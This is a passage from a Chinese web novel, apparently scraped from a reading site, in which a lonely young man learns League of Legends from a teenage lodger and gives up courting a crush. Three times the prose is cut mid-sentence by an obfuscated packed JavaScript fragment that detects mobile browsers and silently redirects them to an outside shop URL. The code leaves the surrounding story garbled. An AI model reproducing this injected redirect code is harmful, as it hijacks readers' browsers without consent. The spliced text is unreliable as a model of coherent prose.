慢慢咀嚼着有些干巴的水煮蛋蛋黄,汤挽宗看许逐意像重度网瘾少年一样,起床不到半个小时就已经坐到电脑前面开机。 还催他:“快过来老师。” 但是汤挽宗的步频不紧不慢的。 甚至可以说,好像有点不情不愿。 昨晚他其实也有点感受出来了。许逐意回头,认真地申明:“我答应收留你,你答应要教我打游戏的,虽然我可能学得很慢,但你不能不乐意教。” 话音刚落,汤挽宗就像被蛋黄噎到似的咳嗽两下,为自己说明澄清:“……我没有不乐意。” 许逐意“哦”一声:“那开始吧。” 说着,马上和昨晚一样选择了人机模式。 他刚要点下开始对局,耳边却冷不丁又传来汤挽宗的声音:“哥哥,你很喜欢那个姓祝的吗?” 握鼠标的手一顿,许逐意愣了愣,不知道发生了什么,一个晚上过去祝扬突然在汤挽宗那里痛失真名:“为什么突然问这个?” “因为,”汤挽宗说完两个字,抿着嘴巴好像在努力从肚子里找字词连成句,“不是很喜欢,就不会为了追他而强迫自己这么努力学不喜欢的事情吧。” “可我说过我学这个只是因为我想学。”许逐意说。 没想到这孩子似乎还在纠结昨天晚上的话题,他回头看了汤挽宗一眼。 “但你也说过不喜欢这个游戏。”然而这个理由好像不能够说服汤挽宗,他别过脸,像是赌气,“不喜欢的话,是很难学会的,也不可能打得好。” 好好的上课环节突然中途插入了一场辩论赛,许逐意轻轻把键盘一推,想了想道:“你不也没有很喜欢这个游戏吗?” “……为什么这么说?”汤挽宗愣住了。 许逐意曲起腿,胳膊抱上去后又伸出指头指指汤挽宗:“刚刚问你你还说不想玩。” 确有此事。 汤挽宗哑然。 “不喜欢到喜欢本身也需要一个过程,”许逐意见他不反驳,以为自己说中了,继续表达观点,“你不喜欢却能打得很好,不是正好教我这个也没那么喜欢的人吗——虽然我现在已经有一点喜欢上了。” 汤挽宗捏紧了手:“……因为姓祝的?” “跟他没关系。”想起昨晚人机对局自己的表现,许逐意心中又有点点小雀跃,于是面无表情地高兴了一会儿,“只是突然发现自己不是一个人都杀不掉。” 放在桌上的手机这时候亮了一下屏幕,有新的微信消息进来。许逐意拿起一看,好巧不巧,是那个姓祝的,祝扬。 祝扬发了一张游戏截图过来,上面显示着段位提升至流光翡翠。 然后还有一段视频,点开是他录制对局回放里自己五杀的画面。 没有配文。 许逐意:“……” 他有点搞不懂祝扬发这两条消息的意思是什么,转发给郑子蓓看,郑子蓓秒回。 第一反应是,【他居然主动找你聊天了!!】 第二反应是,【这是把你当直男开黑兄弟了吧我靠。】 许逐意觉得也是。 他莫名感到有点不舒服,细眉稍稍拧起来。 但不舒服的不是祝扬把他当直男开黑兄弟,而是觉得祝扬好装逼。 0个人关心你段位提升了没有。 0个人想看你秀五杀。 这两条消息简直像在嘲笑他是个爱撒谎的大菜鸡。 许逐意把手机往桌上一放,不太想回复。旁边的汤挽宗下意识一瞥,却倏地脸色一变。 沉浸在无语心情中的许逐意没注意到汤挽宗的变化,正好他们的讨论结束了,气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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许逐意喜怒都不爱形于色,因此此刻即便真的很澎湃脸上都是淡然的,倒是眼神变得更加亮晶晶,盯着屏幕看时透露出兴奋。 汤挽宗靠着椅背目不转睛地看他,垂在身侧的两只手却在慢慢捏紧,他也为许逐意的进步觉得高兴,但开口还是淡淡地说:“学这么快,应该明天就能跟姓祝的一起排位了吧。” 其实话一出口,汤挽宗就有点有点后悔了。 因为看见许逐意脸上开心的表情一滞。 他承认,自己有点太过分。 不管许逐意是为了追人还是真的想学,此刻他才是那个寄人篱下的人。许逐意收留他,不仅不要他花钱,还做饭给他吃,索求的报酬不过是让他教自己打游戏,他消极怠工就算了,还在这里阴阳怪气。 应该要被讨厌了吧。 许逐意现在把他赶走也合情合理。 汤挽宗低下头,默然地看地面,做好了被赶走的准备,手指不自觉搅在一起。 直到听见许逐意说:“汤挽宗。” 汤挽宗透过刘海看他一眼。 看不清表情。 只能看见许逐意薄薄的嘴唇,不笑时闭起来,呈“へ”的形状。 “我不想上钻石了,”许逐意说,“也不想和祝扬一起打排位。 “我想打败你。” 7.不想追了 出乎意料的宣言,汤挽宗愣在原地。 好一会儿他才找回自己的声音,干巴巴开口:“……打败我?” 许逐意点头:“对。” “你……不赶走我吗?”汤挽宗抬起头来看他。 明明自己刚刚说了让人不舒服的过分的话。 但许逐意却没懂他这句话,疑惑地歪了下头:“赶走你?为什么?” 他用一种理所当然的态度回答:“把你赶走不就没人教我打游戏了吗。” 想学会打英雄联盟真的是很认真的。 小学五年级的时候,许逐意因为被数学老师说“这种题目都做不出来,你是不是蠢啊”而不开心,每天回家都自主多做几道数学题,后来以市里第八,数学单科年级第一的成绩升上初中; 到了初中,男孩子们课间总爱出去打篮球,许逐意打不来,也不喜欢运动,但碍于郑子蓓是个坐不住的,每次课间还是会被拉到篮板底下跟着投篮,后来渐渐的水平好起来了,班级赛的时候被当做主力队员派上场,他们班蝉联了三年校内篮球比赛冠军; 升高中后课余时间少了,课业压力也逐渐严重,加上那段日子许逐意父母闹离婚,长期伏案让他体格大不如前,他没时间再打篮球,下晚自习回到家就把自己关在房间里面写题,写到犯恶心但还是要写。 从不会到会,从不喜欢到喜欢;再反过来。 高中毕业后,许逐意就再没见过父亲,和母亲一起步入大学阶段,又在大二的时候失去母亲。 慢慢的他也忘记了培养一个爱好的感觉,忘记了轻松快乐且充实的日子都是怎么过的,只记得丢掉一个爱好后再回忆起来的怅然若失。 许逐意确实是因为想追祝扬才对英雄联盟这个游戏有了解,但被汤挽宗“喜欢喜欢”的一说,他发现自己其实对祝扬也并没有感觉。 本来就谈不上喜欢,现在更是已经不想追了,毕竟他捡到一个高中生,至少这段日子应该不会再孤单。 然后在学习和了解、加上汤挽宗的指导之后,也逐渐有点喜欢上英雄联盟这个游戏。 “我现在应该比你要喜欢英雄联盟一点,”许逐意声音听起来很冷静地在分析,“而且你也不是什么甩普通人实力一大截的职业选手,所以等我学会了打这个游戏,一定可以比你要厉害一点。 “‘不喜欢的话是很难学会的,也不可能打得好’——你说的。” 大放一番厥词,然而被挑战的人没说话,目光沉沉地看着他。许逐意屏着口气,莫名有点心虚,可气势上不能认输,特别对方还是个没自己年纪大的小弟弟。 沉默的时间久了,许逐意以为汤挽宗被自己吓到,又微微抖着声出言挑衅:“怎么,你害怕了吗?” 还是挑衅有效果。 “没有,”汤挽宗终于有反应,调整了坐姿,坐得很端正,认真回答他,“我接受哥哥的挑战。” 许逐意郑重其事地点点头:“好。” “不过——”汤挽宗又说,眼珠一转,想到什么主意似的,表情一本正经,“要比赛的话,是不是设置一个奖项比较好?” 许逐意:“奖项?” “就比如赢的人可以得到什么。” 哦对,好像是这样。许逐意回想起来,英雄联盟大概是一个比较讲究胜利的游戏,比赛会给赢的人颁发冠军奖杯,以及比如只有赢的人才能得到删掉对方好友的权利。 但得到什么呢?他和汤挽宗说熟也不算熟,设置什么奖项比较合适? “你有跟人Solo的经验,”许逐意想不出来,决定把这个难题抛回去,“你说。” 汤挽宗像是等着他这么做,马上随口道:“那就赢的人可以让输的人做一件事,在对方愿意的前提下。” 许逐意想了想:“行。” 二人意见达成一致,又有了一个赌约,许逐意想要学会打游戏的心情不自觉更加迫切。 “那现在继续教我吧。”他说着,转回去又要开一把人机对局。 还伸手拉了一下汤挽宗的手腕,说:“汤老师,你坐过来一点。” 也许是刚刚的一番话消除了汤挽宗心中的某些隔阂,或者重新激起了汤挽宗对待游戏的斗志,男孩态度显然比之前要认真了起来,不再敷衍,闻言很快拖着椅子靠近。 但是又有点太近了,许逐意感觉到胳膊可能会施展不开,复道:“……稍微再退一点点。” 汤挽宗又听话地退开一点点。 然后礼貌地询问:“可以开始了吗,许同学?” 许逐意点头“嗯”了声,点击开始对局。 就这样打了一下午的人类vs人机大战。 认真起来的汤挽宗话也比之前要多。不再是只几个字几个字地给提示,而是耐心地开始教他该如何利用兵线控制进攻节奏、如何分析场面局势、如何根据局势布置视野、如何分析小地图里的信息、如何靠卖破绽骗敌人上钩再进行击杀…… 知识点多得许逐意头大。 甚至几次让他说慢一点,但因为不想显得很笨所以又嘴硬说“懂了”,结果运用不起来还是要闹红脸。 “所以你和那个亚索Solo的时候,空技能确实是故意的吧?”边运用边消化着知识点的许逐意想起那天让他耿耿于怀的操作。 这次汤挽宗承认了:“是。” 然后等了一会儿,发现许逐意没有别的补充,又道:“走位失误也是装的。” “……哇,”只听许逐意果然说,“好阴险。” 汤挽宗摸摸鼻子,面上没什么表情,但眼尾有点点弯了:“有吗?还好吧。” 没想过打个游戏还要各种孙子兵法,许逐意点点头:“有。” 投入地干一件事时时间总是会在不知不觉中流逝,直到书房外面的天色暗下来许逐意才回过神,看一眼时间:“啊怎么五点了。” 又马上凝神:“这局打完休息吧。” 看起来真的对这游戏中毒很深的样子。 汤挽宗双手交叠,脑袋枕在胳膊上,趴着看他:“晚饭吃什么?” “拌饭?”许逐意很快地说。 “……哥哥的菜单里只有三明治和拌饭吗?” “差不多吧。” 汤挽宗有点失语。 此时此刻,他开始懊恼自己为什么不会做饭。 旁边许逐意总算是“噼里啪啦”地点掉了敌方水晶,再次收获一个激昂澎湃的“VICTORY”。他愉悦地松口气,拿起手机。 郑子蓓一个小时前给他发消息。 【你回直男哥了吗?怎么回的?】 许逐意这才想起来自己还没回祝扬。 【没回】 【不知道怎么回】 郑子蓓痛心疾首。 【crush主动发来的消息你晾一下午,对方就算是根蚊香也让你掰直了】 【我不打算追他了】 “你在和祝聊天吗?”许逐意刚回完打算放下手机,耳边就响起汤挽宗的话音。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16852480|190590||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回头去看,就看见少年枕着手臂伏于案面的模样,刘海顺着垂下来,让眉眼更露出一点,看起来乖乖的。 “不是,”许逐意回答,“回我朋友。” 话音刚落,他手机就响起铃声。 是郑子蓓打过来的。 许逐意犹豫了一下,还是接了,收回落在汤挽宗面上的目光,看向旁边书架:“喂?” “不追了是什么意思?!”郑子蓓的声音从听筒里横冲直撞地劈出来。 许逐意蹙起眉头稍稍把手机拿得离耳朵远点儿,等那边“发生什么了”“是祝扬说什么拒绝的话了吗”“还是又打游戏打烦了才在这里说气话”一系列问话问完,才重新贴回耳边,淡淡:“就是不想追了。” “为什么?!”郑子蓓大不解。 他还以为活二十四年了终于能见证挚友脱单,结果挚友说追得突然说不追得也突然,好像看破红尘是跟吃饭睡觉般简单容易的事情一样。 房间里还有其他人,如此开成公布地聊自己的情感话题,许逐意多少还是觉得有些不好意思。他偷瞥一眼汤挽宗,思考着该如何委婉地让他出去等一会儿、或者找借口自己出去接电话,汤挽宗却在这时候起身了。 “我去上个厕所。”他淡然丢下一句便往外走。 许逐意得以不动声色地松口气,转过电竞椅,看着汤挽宗消失在书房门口后才重新转回去,回答郑子蓓的问题:“我仔细想了一下,感觉自己并不喜欢他。只是因为想谈恋爱,又觉得他外形条件还可以,所以才把他定为了追求目标。” 听他如同机器人般客观地说完,电话那边沉默了一会儿,郑子蓓无奈说了句“行吧”,忍不住多槽一句:“这种好像做题一样没带理由也只有你说出来能让人相信。” 许逐意没懂:“这很奇怪吗?” 郑子蓓沉默几秒,不知该怎么回答,说“算了算了”,又换了个重点问:“那孩子还在你家呢?” 许逐意坦坦荡荡:“嗯,在。” “你确定他真没问题吗?这样收留一个陌生人没问题吗?”郑子蓓很操心。 “没问题,”许逐意却答得胸有成竹,接触下来他对汤挽宗的感觉挺好的,很乖很安静的弟弟,打游戏又很厉害,教人耐心,交流起来比和祝扬讲话要舒服得多,于是说,“我们俩已经交了朋友了。” “才多久就交朋友了!”郑子蓓叫起来,“当时我死缠烂打你一个月你才承认我们是朋友的!” 他突然又变大的分贝让许逐意无奈地皱皱眉:“我有那么难相处吗?” 而且,“早都不是十三四岁的小孩子了,现在我没那么别扭的。” 然而郑子蓓就像是被狠狠地伤透了心,叽哩哇啦叫嚷好几句,最后哭着说:“许逐意你必须请我吃饭。” 不懂自己又哪里对不起这位祖宗,许逐意叹口气,无奈问:“什么时候吃?” 郑子蓓哭哭啼啼:“明天。吃晚饭。” “行吧。”许逐意同意了,和郑子蓓确认过没别的事,将电话挂断。 挂完电话又过了一会儿,书房门口传来脚步声。 上完厕所的汤挽宗在这时候回来,重新在许逐意旁边坐下。 “抱歉,”许逐意说,“刚刚接电话没来得及顾上你。” “没事。”汤挽宗立刻摇摇头,看起来像是一点也不在意。 末了,又眼睛亮晶晶地看着许逐意,看起来心情不错、有点期待地对他说:“哥哥,我饿了,我想吃你做的饭。” 8.陌生来电 许逐意还是头一回从别人那里听到类似对自己厨艺认可的话,也是第一次碰见有人这么爱吃自己做的饭。 之前刚开始独居的时候他做给郑子蓓吃过,后来郑子蓓就再也没来过他家了。 看着此刻男孩欢喜的期待的脸,许逐意莫名被取悦,大手一挥决定今晚用生鲜三文鱼做拌饭,还额外给汤挽宗多加了很多肉松浇头。 而汤挽宗正如他所表现的那样喜欢许逐意的手艺,吃得狼吞虎咽,甚至多添了一勺饭。 见他一副八辈子没吃过这种好东西的样子,许逐意忍不住说“吃慢一点”,还给汤挽宗倒了杯水到手边放着,怕他噎着。 同时带有歉意道:“怎么饿成这样,下次早点说,我可以早点做饭的。” 汤挽宗含糊地“嗯”了一声,继续大口往嘴里塞饭。其实倒也不是饿的,他就是开心。 为刚刚站在书房墙根边听到的感到开心。 他其实很想自己再问一遍许逐意,为什么不追姓祝的了?为什么承认和他是朋友?但想到本身也是偷听来的,还是忍住不问了。 嘴里的饭特别咸,但就着许逐意倒的水,汤挽宗无端吃出了甜。 然而没等他多甜几口,餐桌上放着的手机就突然响起来。 来电话了,不是许逐意的手机,是他的。 许逐意显然被吓到,细眉一拧,看着就像是联想到了什么不好的事,问:“坏人打来的?” 汤挽宗把手机拿过,扫一眼尾号,不认识,“……嗯。” 然后把电话摁挂了。 “不接吗?”许逐意表情有些紧张起来,“要不我们还是报警吧。” 汤挽宗摇头:“不用。” 空气静了一会儿,他低头把碗里的饭扒完了,依然一粒米也没留下。 放下勺子,汤挽宗抽纸擦嘴,听见许逐意又问:“我能不能问个问题?” 汤挽宗很爽快地点头。 他爽快,但许逐意还是思考了一下,才斟酌着开口:“你是因为债务问题,还是因为一些别的……惹了什么仇家,才被追的? “是因为不信任警察,才不想报警吗?” 话音刚落,电话又响了,汤挽宗看也不看继续挂断,他张了张口想要回答,手机里进来一则短信。 【Zone,你赶紧接电话亲自安抚一下姚哥,不然他要去警察局报警了!】 汤挽宗:“……” 这一个两个的。 他没让许逐意有机会瞥到这条短信的内容,发了个句号回去,然后站起身。 “怎么了?”许逐意也马上跟着他站起来。 看起来真的很担心他的样子。 汤挽宗心底因为电话短信而聚集的一点烦闷顿时烟消云散,他看着许逐意的脸,餐厅上方暖调的灯光像给男人柔和漂亮的五官又裹了层柔软的透明的纱,那双看人总没什么情绪的眼睛此刻紧紧盯着他。 他想伸手把哥哥蹙起的眉心抚平,然而抬起一点点又还是胆小地放下。最后只平静地说:“我去门口接个电话。” 就转身往玄关走了。 许逐意没有跟出来,汤挽宗站在过道里也没有关紧门,留了条缝。他靠着墙壁,低头把电话给经理回拨过去。 一秒接通,接通后汤挽宗马上毫无表情地直接把手机拿远。 “汤挽宗我看你是翅膀硬了三天不打上房揭瓦竟敢一声不吭玩消失疯了是不是!!!你%#@&——” 不用靠近耳朵,都能听见听筒中隐约传出来一气呵成的怒骂。 汤挽宗熟练地等姚经理骂完,那边安静了,才把手机拿回到耳边,低声说:“有什么事。” 说完就再次把手机拿远,“还‘有什么事’?!非要你出什么事了我才能给你打电话才能找你是不?非要老子费劲吧啦弄来个陌生号码才能打通你手机是不?跟你强调多少遍纪律纪律,十九岁的人了一点也不为自己的人身安全考虑!!” “……”汤挽宗扭头往门缝里看了一眼,瞥见一个一闪而过的脑袋,许逐意躲起来两秒没听见声,又探头出来,一双眼睛藏在门缝之后,对视上吓一跳立刻钻回去不见。 汤挽宗不由得失笑,低下头,还是往消防通道那边走,确认许逐意听不见后才继续小声地淡淡道:“我人很好,休假结束就回,别总这么大惊小怪地着急,没事先挂了。” “等等!” “……”汤挽宗叹口气,无奈问,“还有什么事?” 姚经理在那边大声咳嗽好几下,期间能听见其他队员七嘴八舌说“算了算了”“给他点时间”“死就死呗”之类的话音。 “抱着你的猫给我闭嘴!”姚经理的话音变远一点,吼完电话那头的,又变近,对在电话这头的汤挽宗定定道,“不要丧气、不要灰心、不要自暴自弃。一个赛季的失败不代表你失败,更不能说明是你对这个游戏失去热情才导致这样的结果,抓紧调整心态,早点归队,大家需要你。” 话毕,听筒两边都陷入短暂的沉默。 汤挽宗笑了一声,语气轻浮:“听你这么说话真不习惯,是本人吗?” 那边又炸了:“……汤!挽!宗!!你大爷的看我不杀——” 汤挽宗面无表情地把电话挂了。 他叹口气,随手颠了颠手里的手机,脚尖在原地转个圈,从消防通道离开,走回去。 “没事吧?真的不要报警吗?”脚步刚迈入门口,在里面等着的人就马上凑过来,毛茸茸的脑袋直接凑到汤挽宗面前,许逐意一脸严肃,手里拿着的手机屏幕上甚至显示他准备好了随时拨出110。 汤挽宗一时哑然,没有马上回答。许逐意见他不说话,更紧张了,还碎碎念地继续:“如果要钱的话,其实我可以借给你。虽然不会很多也不知道够不够……但帮你渡过一段时间的困难应该没问题。” “哥哥,”汤挽宗看着他,表情惊讶,根据自己住进这间屋子的时间线道,“我们才认识三天。” “我知道,”许逐意皱眉,好像发现了自己被人当成傻子,语气透露出一丝不悦,“你不上学,看起来也不工作,说不定还不上钱。 “——但情况很危机的话,我更不想看你再被追债的打晕在路边。” ……怎么就一口笃定是追债的了。 “万一是嘿涩会怎么办?”汤挽宗稍稍捏紧了垂在身侧的拳头,却用有点像是玩笑一样的语气说,“一会儿找到我,可能要……满门抄斩的那种?” “现、现在还有这种人吗?”许逐意一副真的被吓到的样子,稍稍瞪圆眼睛,把按了110的手机往汤挽宗面前又举了举,声音少见地大了,“那赶紧报警啊!” “…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16870396|190590||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不用报警,”汤挽宗说,“我离开这里就不会牵连你了。” 许逐意显然不明白他的意思:“那你不就危险了?”又想到什么,变得小心翼翼,问,“还是说你有什么事情是不能让警察知道的?” “……我乱说的,哥哥少看点电视剧。”汤挽宗略有无奈,目光在人脸上停留几秒,伸手把许逐意举得高高的手机轻轻按下,继而垂眸往屋里走,边走边说,“什么都没有,不是追债也不是嘿涩会。不用担心。” 许逐意懵了:“欸?” 他不由自主地多问:“那是什么情况?” 汤挽宗走到餐桌边开始收拾刚刚吃过用过的餐具,拿到水池里冲洗:“是家里的事情。” 他说着,看一眼许逐意,露出些不好意思的表情,为难地抿唇笑了一下:“有点复杂。” 话毕,屋内一时间只剩下水流的声音,以及陶瓷碗与勺子碰撞的动静。 沉默良久,许逐意才“哦”了一声,然后说“抱歉”,慢慢朝汤挽宗走过来。 “哥哥还有什么要问的吗?”汤挽宗回头看他。 只见许逐意抬手指指他的动作:“那是刷锅的。” “……”少年动作一顿,默默将钢丝球放回水槽旁,拿起清洁海绵。 “家事我就不多问了。”许逐意的话音继续从身后传来,没什么起伏的,像一阵连窗帘都掀不起来的风,“不过等你哪天想明白要回去了,记得提早跟我说。” 汤挽宗说:“好。” 他把洗干净的碗放进沥水架,又慢慢地问起别的:“哥哥以前也让别的人这样在家里住过吗?” 身后又响起脚步声,慢慢地近了,这次干脆直接站到汤挽宗的身边。 “没有,”许逐意说着,垂眸伸出手,将他手臂上搭不住要滑下去的衣袖轻轻挽起,“你是第一个。” 他保持着尽量不触碰到汤挽宗皮肤的距离——虽然偶尔指尖还是会有一瞬剐蹭——很快把这边衣袖挽好了,“应该也是最后一个吧。”话音从汤挽宗身后绕过,又开始挽另一边的。 汤挽宗原本还想问“你是不是对其他人也这么好”,但听完许逐意说的后半句又噤声了。 他突然不敢看他,低头表现出很专心在洗碗的样子,让自己看上去游刃有余。可手臂上传来的触感却清晰得要命,耳根连着脖子渐渐热成一片,像过敏了一样。 许逐意帮他撩完了衣袖也不走,干脆就靠着旁边的台沿,两手撑在身后,仰头对着天花板发呆。细眉毛茸茸画在额上,微眯起的眼睛睫毛很长,鼻梁又高又薄,嘴唇是粉红色的,许逐意头发颜色染的浅亚麻色,衬得他皮肤格外白皙。 两人就这样安安静静地一左一右站了会儿,各怀心事。汤挽宗不知道许逐意在想什么,但余光舍不得从这人身上离开。 两个碗两个勺子,他好像洗了很久,又好像只有几秒钟;就像他从第一次见许逐意的那日到今天,好像过了很多年,在见上面之后又感觉好像只隔了几天。 洗完后汤挽宗抽了张纸巾低头擦手,许逐意的话音才在耳畔又轻轻响起了。 “一定要提早跟我说。”他这样讲,语气像讲“今天天气不错”这种很普通的事,讲的时候微微偏过头,光影在脸上变换,照亮那双干净浅色的眼,声音好低好柔软,“我不想,又突然变成一个人。” 9.害怕寂寞 汤挽宗静了好久才说“好”。 然后看向他重复道:“又?” “嗯。如你所见,我是独居。”关于自己简单的过往许逐意不觉得有什么不能说,思考几秒后简短而客观地向他解释,“父母都不在了,一直一个人生活。你住下来让这个屋子变热闹了一点,所以走的时候最好也说一声。” 就像之前理性剖析自己需要恋爱让自己不孤单一样,涉及到情感的话题,许逐意语气就变得平静且没有起伏,情绪也是。 “好吗?”为了确认他追问。 听见汤挽宗再次说“好”,许逐意点点头,不大熟练地对他勾了一下嘴角,说:“早点休息吧。” 然后就径直回房了。 门“砰”地关上,汤挽宗才缓缓收回自己紧随那道背影的视线。 他重新面向水池,掬凉水冲了几次热得不行的脸,而后撑着台沿低着头,攥紧手指。 许逐意洗漱过就躺到了床上,没有马上睡着。 他一直以为汤挽宗是惹上了什么穷凶极恶的大麻烦,情况之复杂甚至脑补出了一本小说。但结果只是因为家里的事。 不过,家里的事,细想起来也不见得比穷凶极恶好到哪里去。 但落叶要归根,人就算再恨也无法不回家,所以许逐意就又思考起汤挽宗会在自己这里住多久这件事。 说来也神奇,经由汤挽宗提醒他才发现,明明才相处短短三天,他却好像跟这个陌生的少年认识好多年了一样,并不觉得戒备或有距离。 随便把一个陌生人捡回家并且让其住下确实是很不安全的做法,“第一个也是最后一个”的话不存在欺骗,如果再有乱七八糟的人倒在他家楼下,他应该不会再带回家。 但如果是汤挽宗…… 为什么是汤挽宗呢。 许逐意翻了个身,叹出口气,摸过手机,有些无厘头地在社媒上开始搜索领养流浪狗的信息。 看来看去,一直看到睡着,眼睛因为困倦而闭上的前一秒许逐意都还在想,其实比起养狗,自己好像更适合养猫,或者什么都不要养。 第二天睡醒,因为答应了郑子蓓要请客吃饭,许逐意起床就跟汤挽宗说明,自己今日晚饭会不在家。 “要跟朋友出去吃。”他边忙着制作三明治,边简单说明。 手机里依然播放着不知名字的电视剧。 “好吧。”汤挽宗很乖很体贴地应了,但声音听上去有点失落。 许逐意朝他看过去一眼,看见他趴在吧台的桌面,一动不动正望着自己。 说实话,从青春期开始到现在,许逐意一直都不是朋友很多的那种人。 他不擅长、也不大喜欢社交。虽然似乎有很多人因为长相想和他做朋友,但通常坚持不了几句话就讪讪放弃了。郑子蓓算是他唯一的朋友,而汤挽宗是现在正借宿在他家里的弟弟。 要把汤挽宗也一起带出去吃饭吗,这样可以顺便让郑子蓓和他认识。郑子蓓如果接触过汤挽宗,应该也不会再有“把陌生人带回家真的安全吗”这种问题了。 可这也意味着汤挽宗会更多地入侵自己的生活圈。 让一个说不定什么时候要走的人,入侵自己的生活圈。 等到汤挽宗从他家离开,他们还会经常有联系吗? “我可以在家等哥哥回来。”像是看穿了他的犹豫,汤挽宗善解人意的声音突然又传来。 许逐意低头处理食材的动作稍一顿,“嗯”了一声。 解决完午饭,下午还有很长的时间。趁着这两天游戏手感逐渐不错,许逐意依然拉着汤挽宗在书房一呆一下午,打了好几把人机。 “我应该可以打匹配试试了。”他这么说着,自信且有条理地为自己规划,“明天打匹配吧。” 说完又问身边坐着的人:“汤老师意见如何?” 汤挽宗单手撑着下巴,像在走神,但感觉到四目相对,又淡淡勾了下嘴角说:“听许同学的。” 一把人机马上又要开始,时间上看大约是最后一把了,许逐意双手都在键鼠上放好,蓄势待发。 旁边的手机却在这时候振动两下。 是郑子蓓发来消息,称自己已经选好了今晚想吃的餐厅,还把餐厅地址也一起发送过来,自顾自定下集合时间。 【五点店门口见】 这边许逐意已经开始游戏了,上线途中赶紧滑开屏幕回了个“OK”,然后马上放下。 屏幕都没来得及锁,很快郑子蓓的新消息就又跳出来。 【你是不是想领养流浪狗?怎么昨天晚上给我转发的视频都是这些乱七八糟的】 许逐意没空回复,伸手把屏幕按熄。 “哥哥大概几点钟回来?”周围安静了少顷,汤挽宗的问话突然响起。 许逐意正在线上跟人火拼,闻言顿了几秒才回答:“七八点钟吧。” 五点钟吃饭,六点钟结束,再被郑子蓓拉着磨蹭磨蹭,到家确实得要那个点了。这还是餐厅不用排队的前提下。 旁边的小孩儿“哦”一声表示自己知道了,不再多问,又开始耐心地教他如何跟人对线,一直不厌其烦地教到最后一秒。 “你要玩吗?”许逐意把结算界面关闭,从座位上起身,问汤挽宗。 汤挽宗犹豫了一下却还是摇头,跟着他往外走,看行动轨迹应该是又要到沙发上坐着发呆。 四点多,深秋的太阳正好开始往下落,整个客厅被照得黄澄澄的,所有东西都显得很立体,汤挽宗已经走到沙发旁拿了个抱枕坐下,逆光的剪影有明有暗,被夕阳撒上不同程度的寂寥。 他脸上的伤已经愈合得差不多了,血痂隐隐有往下掉的趋势,但看起来却还是有点可怜。 “拜拜。”不等许逐意说话,汤挽宗先开了口。 许逐意就也说:“哦,拜拜。”说得干巴巴的。 然后他进屋更衣,离开家。 出门后许逐意就给郑子蓓那边发去一个新的离家比较近的地址,让他过来这家店吃饭,并表示自己已经在路上了。 郑子蓓回过来一个微笑的黄豆表情。 “这家店不是之前吃过一次了吗?味道一般般,我还说过不想再来的。”见了面后他迅速表达自己的不满。 许逐意就站在店门口,手插口袋地催他:“那你在这边上挑个别的,我们进去。” “干嘛非要在这边上?”郑子蓓不懂。 “其他地方太远了。”许逐意说,然后没有表情地又催,“快选。” “……”郑子蓓只好望望四周,随便指了一家店两人进去,坐下后他问,“你不会是因为担心家里那个高中生吧?” 严格意义上说汤挽宗应该不算是高中生,但许逐意也没纠正。 他没想好怎么回答,于是假装没听见这个问题,让郑子蓓跟服务员先点单。 点完回头,郑子蓓就一脸“看穿你了”的表情:“我就说吧,把一个陌生人放在家里,还是会担心有没有安全隐患的。” “不是担心安全隐患。”许逐意否认,低头给菜单拍了张照片,发给汤挽宗,问他想吃什么,又补充饿了可以从冰箱找吃的,并淡淡补充,“他人很好。” 默两秒又憋出俩字:“很好。” “那你急着回去干嘛,”友人词穷一样的评价让郑子蓓失笑,“难不成还担心他一个人在家很寂寞吗?” 许逐意又不说话了,一声不吭挪开目光。 郑子蓓吃惊:“……还真担心这个啊??” 不知道他又开始脑补什么乱七八糟的,郑子蓓表情变得很精彩。 但许逐意没打算多问,收到汤挽宗的信息后,抬手示意服务员,又点了两份吃的,并叮嘱晚点再做,他走的时候要带走。 “你突然决定不追祝扬,不会也是因为这个高中生吧?”郑子蓓喋喋不休的声音又响起。 “不是。”许逐意很快否认,“那天电话里不是讲过了吗?” “……好吧。”郑子蓓觉得“也是”,不继续问重复的问题了,想起昨晚许逐意给他发的领养流浪狗,话锋一转聊别的,“高中生住到什么时候走?” 许逐意很平常地说:“不知道。”说完垂下了眼。 服务员开始上菜,郑子蓓看着好友脸上白开水似的的表情,不知怎么突然想起两人高中的时候。 某天他得知许逐意父母要离婚,要分家,问许逐意“你爸什么时候搬走”,许逐意也是这样的表情,垂着眼,也是说“不知道”。 那天放学郑子蓓用半个月的零用钱,带许逐意去吃了一顿omakase,希望许逐意能开心点,因为他每次难过了吃点好吃的就过去了。 两个高中生穿着校服,坐在装修精致的店内,许逐意也尽量表现出了开心的样子,但眼睛始终没有抬起来过,视线焦点不咸不淡地落在比较低的地方。 他表情变化少,总看起来不冷不热的什么都不在乎。后来郑子蓓才回过味来,许逐意那时候那个垂下眼的微表情其实应该叫“寂寞”。 许逐意不喜欢一个人,害怕寂寞,他是知道的。 特别是阿姨离世这几年后。 但这个人绝不会说,哪怕大言不惭承认自己“只是突然想谈恋爱”也绝不会说是在害怕寂寞。 